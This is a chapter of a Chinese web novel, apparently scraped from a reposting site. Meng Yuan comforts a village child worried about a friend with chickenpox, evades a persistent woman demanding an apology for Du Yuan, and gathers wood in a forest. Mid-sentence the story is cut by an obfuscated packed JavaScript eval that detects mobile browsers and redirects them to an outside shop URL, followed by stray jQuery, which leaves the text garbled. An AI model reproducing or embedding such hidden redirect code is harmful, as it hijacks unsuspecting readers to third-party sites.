一夜好梦,转眼到了第二天早上,孟沅依着往常时间起来,提起炉子上的热水给自己冲了一杯麦乳精。
又从空间符里掏出两个鸡蛋,一个馒头当作早饭。
她之前为了省事,就把从春花婶家买的鸡蛋全煮了。
她昨晚回来将几个包裹拆了,将能用的生活用品都放在了柜子里,用不上的衣服被褥床单布料啥的都装进了空间符里。
除此之外,还有一堆吃的喝的,像什么立峰的牛肉干、香肠,梅林的午餐肉罐头,好时巧克力……
不过孟沅最喜欢的还是方琴女士熬的肉酱,她每天早上吃馒头饼子时都要放上两勺,今天也不例外。
她一边吃一边琢磨要不要送两瓶给江逾,江逾昨天送来那么多东西,于情于理,她都应该回点礼。
孟沅吃完就出门割猪草了,只是今天屁股后面跟了个小尾巴。小尾巴是二妞,她今天一个人,丫丫并没有跟她一起。
孟沅摸了摸她怏怏不乐的小脸,好奇问道:"今天怎么就你一个人啊?”
二妞闷闷不乐道:"丫丫她生病了,一直在咳嗽,万婶儿就不让她出来打猪草了。”
"那你这么不高兴,是在担心丫丫吗?"
二妞点点头,她想去看看丫丫如何了,可家里人和万婶儿她们都不让她去见丫丫,没有丫丫,她只能一个人打猪草,一个人玩,一点意思都没有。
"孟姐姐,你说她们为啥都不让我去见丫丫吗?丫丫以前也生过病,也没不让我去找她啊。”
孟沅找个没有杂草的空地坐下,还拍了拍身边的位置,示意二妞一起坐下。
孟沅不知道丫丫生了什么病,但深知这么多人拦着不让见,一定有不让见的理由。
她轻声劝哄道:"那他们有告诉你丫丫生了什么病?有些病会传染人的,拦着不然你见也是怕你也生病。”
二妞冥思苦想了一会,才满脸不确定道:"好像是什么痘,我妈当时可吓人了,跟要吃人的母老虎似的,我都被她吓哭了,她还一直问我听到没?”
孟沅这下了然了,丫丫应该得的水痘。水痘具有传染性,小孩子免疫力低下,若是轻症还好,容易自愈。
但若是重症,病毒侵入肺部导致持续高热不退、咳嗽不停,又来不及送医,后果可想而知,春花婶自然得紧张了。
换言之,就算是轻症,可孩子自控力不行,将身上的水泡大面积抓破,也容易引起细菌感染,全身脓包溃烂,医疗条件跟不上一样会出事。
且往年也不是没有出事的案例,谁敢赌这个可能?
孟沅摸了摸她的头,组织了一下语言才道:“丫丫得的水痘具有传染性,不能见人,也不能吹风,只能待在自己房间里好好修养,你要是不听话去见了丫丫,你也会得水痘的,要喝苦苦的药,打痛痛的屁股针,还要被关在房间里出不来,那你会高兴吗?”
二妞一听要打屁股针当即把头摇得飞快,她才不要打针,打针好可怕的。
孟沅看着她那皱巴成一团的小脸,透着满满的不情愿,接着道:"那你现在知道他们为什么拦着你了吧,不拦你,你就要跟丫丫一样去打屁股针了。"
二妞突然跟小大人似的叹了口气:"算了,我还是忍忍吧,就怕丫丫太想我了,会偷偷哭鼻子。”
孟沅忍不住笑出了声,小孩子真是太好玩了,一会一个表情,刚刚还不高兴,这会就开始装模作样叹气了,真是情绪来的快,走的也快。
孟沅想了想她小时候是如何哄师妹们的,好像都是帮她们抄书,实在没啥可借鉴的经验。她觉得自己不太靠谱,小孩子有自己的一套交友法则,还是得交给他们自己处理。
"那你平时和丫丫都怎么玩耍的吗?”
"我们会去找好看的花花,好吃的野果,好看的石头,会过家家翻绳子躲猫猫,还会和其他人一起老鹰捉小鸡,踢毽子……”
"那你从今天开始多找一些好看的花花送给丫丫,她知道你在想着她,她就不会哭鼻子啦。”
二妞疑惑的望过来:"可我见不到丫丫,我怎么给她花?”
"唔,大人是无所不能的,你把花交给大人,大人也许会有办法替你转交的”
"孟知青……”
孟沅听着有人喊自己,当即寻着声音方向望过去,二妞也跟着看了过去。
卫思怡?她怎么过来了?
孟沅从地上爬起来,顺道把二妞也拉了起来,她帮着二妞拍了拍屁股上的灰尘,又把二妞的筐给她背上,"去打猪草吧,姐姐这边有点事要处理。”
二妞看了眼卫思怡,又看了眼孟沅,甜甜地说了声“孟姐姐再见”,就挥着手跑远了。
孟沅看着二妞跑远了才看向卫思怡,不懂她为何会来找自己?自己和她应该没有啥牵扯。虽说孟沅看不惯张秋禾和杜源,但也不代表她就看得惯卫思怡了。
"你来找我有什么事?”
卫思怡鼓足勇气道:"孟知青,你能不能去给杜源哥哥道个歉?”
"啥?”孟沅差点以为自己又幻听了。
卫思怡以为是她自己说的太小声了,对方没听清楚,又加大音量说了一遍。
孟沅用一种看智障的表情上下打量了她几眼,提起地上的筐子转身就走。常言道:常与同好争高下,不与傻瓜论长短。与智障辩对错,生气憋屈的只会是自己。
卫思怡今天特意请假来堵的孟沅,自然不会就这样让孟沅走掉,她直接跟在了孟沅屁股后,一直喋喋不休地述说着杜源的痛苦、杜源的消瘦、杜源的身心健康问题……
全是他爹的杜源!!!
吵的孟沅脑子青筋都快暴起了,真是比苍蝇蚊子还会恶心人!
"闭嘴,烦死人了。”
卫思怡这一声吓得闭嘴了,孟沅继续朝前走着,如往常一般到达固定地点后,放下筐拿起镰刀开始割草。
她也不是时时刻刻都能用小纸人的,有时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837521|211507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候二妞和丫丫过来找她一起,她就得自己割猪草了,所以她割猪草的动作还挺熟练。
卫思怡见自己说了半天,孟沅还是无动于衷,甚至还有闲情逸致地割猪草,当即大小姐脾气发作,她几步上前一把夺过了孟沅手上的镰刀,要不是孟沅及时松了手,准会划伤自己的小腿。
"我在跟你说话,你有没有礼貌啊?”卫思怡一脸娇蛮地叱问道。
卫思怡这个人向来只在杜源面前温驯,在其他人面前,本质上依旧是个娇蛮大小姐,对于孟沅这个下过杜源面子的人,她更是处处看不顺眼。
只是先前听他们说孟沅如何如何厉害,一直强忍着罢了,这会怒火占据了恐惧,自然由着性子发作了。
孟沅站起身,冲她伸出了一只手,面无表情道:"镰刀还我。”
卫思怡见孟沅没有动怒,更没有动手打她,想着也许是大家夸大其词罢了,肯定是杜源哥哥绅士不打女人才教她得逞的。
当即更加自信道:"不给,除非你去给杜源哥哥道歉。”
孟沅觉得杜源有毒,招惹的这一个个女人都跟中毒似的,对他如此死心塌地。
孟沅没吭声,一把夺回镰刀扔回筐子里,背起筐子就走,还越走越快。
孟沅身高一米六八,想要甩脱卫思怡这个一米五五的小矮子还是很容易的,更别提她还专往深山那边去了。
卫思怡看着那密不见光,暗沉沉的参天大树,终究是害怕地止住了步。
她气得在林外直跺脚,却拿孟沅没办法,等了好一会儿,不见孟沅出来才转身悻悻而归。
孟沅见她没有跟进来,暗松了口气,她实在不愿意跟这种迷了心窍的人纠缠!不论你如何打骂,她都会想方设法达到目的,你只要不如她的愿,她就会一直缠着你。
孟沅觉得还得从源头解决这件事,只是这会杜源在上工,她不想在村民面前处理这桩事,让他们看到了,保不齐第二天村里的谣言就变成她和卫思怡二女争一夫了。
她可不想和杜源攀扯上一点点关系,那也太膈应人了。
孟沅这次没在密林里待多久,她径直往里走,她想看看出了密林是什么样的。会不会亮堂一些?
果然出了密林后,树木开始稀疏间隔起来,取而代之的是大片大片不知名的杂草和灌木丛。日光穿过头顶枝叶间的细碎缝隙洒落而下,整片林子如同骤然按下了灯泡的开关键,一瞬间明亮豁然起来。
孟沅关了手电筒,把小纸人放出来让他们去捡柴火,自己则去周边溜达溜达,探探情况。
这一溜达,孟沅不仅捡拾到不少野生菌菇和野果,还发现了一颗比人高的空心雷击木,还是难得一见的百年红松雷击木,只可惜树木已死,不然就是个可遇不可求的好东西了。
孟沅招呼小纸人爬上去把裸露在外的枝干给扳断取下来,红松虽死,却不曾腐烂蛀空,拿回去埋在院子底下,也能阻挡一二煞气,震慑游魂,给她们二院去去晦气。